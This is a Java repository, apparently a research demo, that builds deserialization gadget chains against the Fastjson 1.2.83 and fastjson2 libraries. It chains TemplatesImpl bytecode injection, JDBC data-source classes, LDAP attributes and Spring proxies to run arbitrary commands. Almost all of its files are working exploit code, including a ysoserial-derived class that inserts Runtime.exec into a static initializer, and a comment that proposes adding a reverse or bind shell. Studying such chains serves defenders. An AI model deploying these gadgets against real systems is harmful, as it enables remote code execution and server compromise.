├── README.md ├── src └── main │ └── java │ ├── gadgets │ ├── DriverManagerDataSourceNode.java │ ├── MysqlDataSourceNode.java │ ├── DriverManagerDataSourceNode_c3p0.java │ ├── HashMapNode.java │ ├── ObjectFactoryDelegatingInvocationHandlerNode.java │ ├── JSONObjectNode.java │ ├── JsonArrayNode.java │ ├── ReferenceSerializedNode.java │ ├── JdkDynamicAopProxyNode.java │ ├── LdapAttributeNode.java │ ├── PGSimpleDataSourceNode.java │ ├── BadAttrValExeNode.java │ └── TemplatesImplNode.java │ ├── Fastjson4_LdapAttribute.java │ ├── Fastjson4_PGSimpleDataSource.java │ ├── Fastjson4_MysqlDataSource.java │ ├── Fastjson4_ReferenceSerialized.java │ ├── Fastjson4_DriverManagerDataSource.java │ ├── Fastjson4_DriverManagerDataSource_c3p0.java │ ├── Fastjson4_JdkDynamicAopProxy.java │ ├── common │ ├── ClassFiles.java │ ├── Util.java │ └── Reflections.java │ └── Fastjson4_ObjectFactoryDelegatingInvocationHandler.java ├── .gitignore └── pom.xml /README.md: -------------------------------------------------------------------------------- 1 | 参考文章:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q 2 | -------------------------------------------------------------------------------- /src/main/java/gadgets/DriverManagerDataSourceNode.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import com.mchange.v1.db.sql.DriverManagerDataSource; 4 | 5 | public class DriverManagerDataSourceNode { 6 | public static Object makeGadget(String jdbc) throws Exception { 7 | return new DriverManagerDataSource(jdbc,"",""); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/main/java/gadgets/MysqlDataSourceNode.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import com.mysql.jdbc.jdbc2.optional.MysqlDataSource; 4 | 5 | public class MysqlDataSourceNode { 6 | 7 | public static Object makeGadget(String jdbc) throws Exception { 8 | MysqlDataSource dataSource = new MysqlDataSource(); 9 | dataSource.setUrl(jdbc); 10 | return dataSource; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/gadgets/DriverManagerDataSourceNode_c3p0.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import com.mchange.v2.c3p0.DriverManagerDataSource; 4 | 5 | public class DriverManagerDataSourceNode_c3p0 { 6 | public static Object makeGadget(String jdbc) throws Exception { 7 | DriverManagerDataSource dataSource = new DriverManagerDataSource(); 8 | dataSource.setJdbcUrl(jdbc); 9 | return dataSource; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/gadgets/HashMapNode.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import common.Util; 4 | 5 | public class HashMapNode { 6 | public static Object makeGadget(Object[] array) throws Exception { 7 | Object[] keys = new Object[array.length/2]; 8 | Object[] values = new Object[array.length/2]; 9 | for(int i=0;i clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_ObjectFactoryDelegatingInvocationHandler.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | import org.springframework.beans.factory.ObjectFactory; 4 | 5 | import javax.xml.transform.Templates; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Proxy; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class Fastjson4_ObjectFactoryDelegatingInvocationHandler { 12 | 13 | public Object getObject (String cmd) throws Exception { 14 | 15 | Object node1 = TemplatesImplNode.makeGadget(cmd); 16 | Map map = new HashMap(); 17 | map.put("object",node1); 18 | Object node2 = JSONObjectNode.makeGadget(2,map); 19 | Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), 20 | new Class[]{ObjectFactory.class}, (InvocationHandler)node2); 21 | Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1); 22 | Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), 23 | new Class[]{Templates.class}, (InvocationHandler)node3); 24 | Object node4 = JsonArrayNode.makeGadget(2,proxy2); 25 | Object node5 = BadAttrValExeNode.makeGadget(node4); 26 | Object[] array = new Object[]{node1,node5}; 27 | Object node6 = HashMapNode.makeGadget(array); 28 | return node6; 29 | } 30 | 31 | public static void main(String[] args) throws Exception { 32 | Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler().getObject(Util.getDefaultTestCmd()); 33 | Util.runGadgets(object); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | org.example 5 | FastjsonInDeserializationDemo 6 | 1.0-SNAPSHOT 7 | Archetype - FastjsonInDeserializationDemo 8 | http://maven.apache.org 9 | 10 | 11 | org.javassist 12 | javassist 13 | 3.19.0-GA 14 | 15 | 16 | 17 | com.mchange 18 | c3p0 19 | 0.9.5.5 20 | 21 | 22 | com.alibaba.fastjson2 23 | fastjson2 24 | 2.0.53 25 | 26 | 27 | 28 | com.alibaba 29 | fastjson 30 | 1.2.83 31 | 32 | 33 | 34 | com.h2database 35 | h2 36 | 1.4.200 37 | 38 | 39 | 40 | org.postgresql 41 | postgresql 42 | 42.3.1 43 | 44 | 45 | 46 | org.springframework 47 | spring-context 48 | 5.3.6 49 | 50 | 51 | 52 | mysql 53 | mysql-connector-java 54 | 5.1.47 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /src/main/java/gadgets/TemplatesImplNode.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 8 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 9 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 10 | import common.ClassFiles; 11 | import common.Reflections; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | 16 | import java.io.Serializable; 17 | 18 | public class TemplatesImplNode { 19 | public static Object makeGadget(String cmd) throws Exception { 20 | return createTemplatesImpl(cmd); 21 | } 22 | 23 | public static Object createTemplatesImpl ( final String command ) throws Exception { 24 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 25 | return createTemplatesImpl( 26 | command, 27 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 28 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 29 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 30 | } 31 | 32 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 33 | } 34 | 35 | public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) 36 | throws Exception { 37 | final T templates = tplClass.newInstance(); 38 | 39 | // use template gadget class 40 | ClassPool pool = ClassPool.getDefault(); 41 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 42 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 43 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 44 | // run command in static initializer 45 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 46 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 47 | command.replace("\\", "\\\\").replace("\"", "\\\"") + 48 | "\");"; 49 | clazz.makeClassInitializer().insertAfter(cmd); 50 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 51 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 52 | CtClass superC = pool.get(abstTranslet.getName()); 53 | clazz.setSuperclass(superC); 54 | 55 | final byte[] classBytes = clazz.toBytecode(); 56 | 57 | // inject class bytes into instance 58 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 59 | classBytes, ClassFiles.classAsBytes(Foo.class) 60 | }); 61 | 62 | // required to make TemplatesImpl happy 63 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 64 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 65 | return templates; 66 | } 67 | 68 | public static class Foo implements Serializable { 69 | 70 | private static final long serialVersionUID = 8207363842866235160L; 71 | } 72 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 73 | 74 | private static final long serialVersionUID = -5971610431559700674L; 75 | 76 | 77 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} 78 | 79 | 80 | @Override 81 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/common/Util.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import java.io.*; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Constructor; 6 | import java.util.ArrayList; 7 | import java.util.HashMap; 8 | import java.util.List; 9 | 10 | public class Util { 11 | 12 | public static String getDefaultTestCmd(){ 13 | String osName = System.getProperty("os.name"); 14 | if (osName.startsWith("Mac")) { 15 | return "open /System/Applications/Calculator.app"; 16 | } 17 | return "calc"; 18 | } 19 | 20 | public static void writeObj2File(Object obj,String path) throws IOException { 21 | System.out.println("set obj to "+ path); 22 | FileOutputStream fileOut = new FileOutputStream(path); 23 | ObjectOutputStream out = new ObjectOutputStream(fileOut); 24 | out.writeObject(obj); 25 | out.close(); 26 | fileOut.close(); 27 | } 28 | 29 | public static Object readObj4File(String path) throws IOException, ClassNotFoundException { 30 | System.out.println("get obj for "+ path); 31 | FileInputStream fileInput = new FileInputStream(path); 32 | ObjectInputStream input = new ObjectInputStream(fileInput); 33 | return input.readObject(); 34 | } 35 | 36 | public static void runGadgets(Object obj)throws Exception{ 37 | byte[] ser = serialize(obj); 38 | deserialize(ser); 39 | } 40 | 41 | public static byte[] serialize(final Object obj) throws IOException { 42 | System.out.println("serialize obj: "+ obj.getClass().getName()); 43 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 44 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 45 | objOut.writeObject(obj); 46 | return out.toByteArray(); 47 | } 48 | 49 | public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException { 50 | System.out.println("deserialize obj"); 51 | final ByteArrayInputStream in = new ByteArrayInputStream(ser); 52 | final ObjectInputStream objIn = new ObjectInputStream(in); 53 | return objIn.readObject(); 54 | } 55 | 56 | 57 | /** 58 | * 字节数组转16进制 59 | * @param bytes 需要转换的byte数组 60 | * @return 转换后的Hex字符串 61 | */ 62 | public static String bytesToHex(byte[] bytes) { 63 | StringBuffer sb = new StringBuffer(); 64 | for(int i = 0; i < bytes.length; i++) { 65 | String hex = Integer.toHexString(bytes[i] & 0xFF); 66 | if(hex.length() < 2){ 67 | sb.append(0); 68 | } 69 | sb.append(hex); 70 | } 71 | return sb.toString(); 72 | } 73 | 74 | /** 75 | * hex字符串转byte数组 76 | * @param hex 待转换的Hex字符串 77 | * @return 转换后的byte数组结果 78 | */ 79 | public static byte[] hexToByteArray(String hex){ 80 | int hexlen = hex.length(); 81 | byte[] result; 82 | if (hexlen % 2 == 1){ 83 | hexlen++; 84 | result = new byte[(hexlen/2)]; 85 | hex="0"+hex; 86 | }else { 87 | result = new byte[(hexlen/2)]; 88 | } 89 | int j=0; 90 | for (int i = 0; i < hexlen; i+=2){ 91 | result[j]=(byte)Integer.parseInt(hex.substring(i,i+2),16); 92 | j++; 93 | } 94 | return result; 95 | } 96 | 97 | public static String join(String[] strings, String sep, String prefix, String suffix) { 98 | final StringBuilder sb = new StringBuilder(); 99 | boolean first = true; 100 | for (String s : strings) { 101 | if (! first) sb.append(sep); 102 | if (prefix != null) sb.append(prefix); 103 | sb.append(s); 104 | if (suffix != null) sb.append(suffix); 105 | first = false; 106 | } 107 | return sb.toString(); 108 | } 109 | 110 | public static String join(String[] strings, String sep) { 111 | final StringBuilder sb = new StringBuilder(); 112 | boolean first = true; 113 | for (String s : strings) { 114 | if (! first) sb.append(sep); 115 | sb.append(s); 116 | first = false; 117 | } 118 | return sb.toString(); 119 | } 120 | 121 | public static HashMap createSilenceHashMap(Object key1,Object value1,Object key2,Object value2) throws Exception { 122 | return createSilenceHashMap(new Object[]{key1,key2},new Object[]{value1,value2}); 123 | } 124 | 125 | public static HashMap createSilenceHashMap(Object[] keys, Object[]values) throws Exception { 126 | HashMap map = new HashMap(); 127 | Reflections.setFieldValue(map, "size", keys.length); 128 | Class nodeC; 129 | try { 130 | nodeC = Class.forName("java.util.HashMap$Node"); 131 | } 132 | catch ( ClassNotFoundException e ) { 133 | nodeC = Class.forName("java.util.HashMap$Entry"); 134 | } 135 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 136 | nodeCons.setAccessible(true); 137 | Object tbl = Array.newInstance(nodeC, keys.length); 138 | for(int i=0;i positions = new ArrayList<>(); 151 | for (int i = 0; i < str.length(); i++) { 152 | if (str.charAt(i) == ch) { 153 | positions.add(i); 154 | } 155 | } 156 | int[] positionArray = new int[positions.size()]; 157 | for(int i=0;i 1){ 96 | throw new IllegalStateException("The number of construction methods is more than 1,can't use newInstanceWithOnlyConstructor"); 97 | } 98 | Constructor constructor = constructors[0]; 99 | constructor.setAccessible(true); 100 | return constructor.newInstance(params); 101 | } 102 | 103 | public static Object newInstanceWithoutConstructor(String className) throws Exception { 104 | return newInstanceWithoutConstructor(Class.forName(className)); 105 | } 106 | 107 | public static T newInstanceWithoutConstructor(Class clazz) throws Exception { 108 | return newInstanceWithSpecialConstructor(clazz,Object.class,new Class[0],new Object[0]); 109 | } 110 | 111 | public static T newInstanceWithSpecialConstructor( Class clazz, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws Exception { 112 | Constructor consTmpl = constructorClass.getDeclaredConstructor(consArgTypes); 113 | consTmpl.setAccessible(true); 114 | Constructor constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, consTmpl); 115 | constructor.setAccessible(true); 116 | return (T)constructor.newInstance(consArgs); 117 | } 118 | 119 | 120 | public static Method[] getGetterMethod(Class clazz) throws Exception{ 121 | Method[] allMethods = clazz.getMethods(); 122 | List methods = new ArrayList(); 123 | for(Method method:allMethods){ 124 | String name = method.getName(); 125 | if(name.length()>3 && name.startsWith("get") && Character.isUpperCase(name.charAt(3)) && 126 | method.getParameterCount()==0 ){ 127 | methods.add(method); 128 | } 129 | } 130 | return (Method[]) methods.toArray(new Method[methods.size()]); 131 | } 132 | 133 | 134 | /** 135 | * 根据类名获取类,处理一些特殊情况 136 | */ 137 | public static Class getClassByName(String className) throws ClassNotFoundException { 138 | Class clazz = null; 139 | className = className.replace("/","."); 140 | try { 141 | clazz = Class.forName(className); 142 | }catch (Exception e1){ 143 | String newClassName; 144 | // 处理内部类的情况 145 | int[] positions = Util.findAllPositionsOfChar(className,'.'); 146 | int len = className.length(); 147 | for(int i=positions.length-1;i>=0;i--){ 148 | int position = positions[i]; 149 | newClassName = className.substring(0,position) + "$" + className.substring(position+1,len); 150 | try { 151 | clazz = Class.forName(newClassName); 152 | 153 | }catch (Exception e2){ 154 | 155 | } 156 | } 157 | } 158 | if (clazz == null) throw new ClassNotFoundException(className); 159 | 160 | return clazz; 161 | } 162 | 163 | } 164 | --------------------------------------------------------------------------------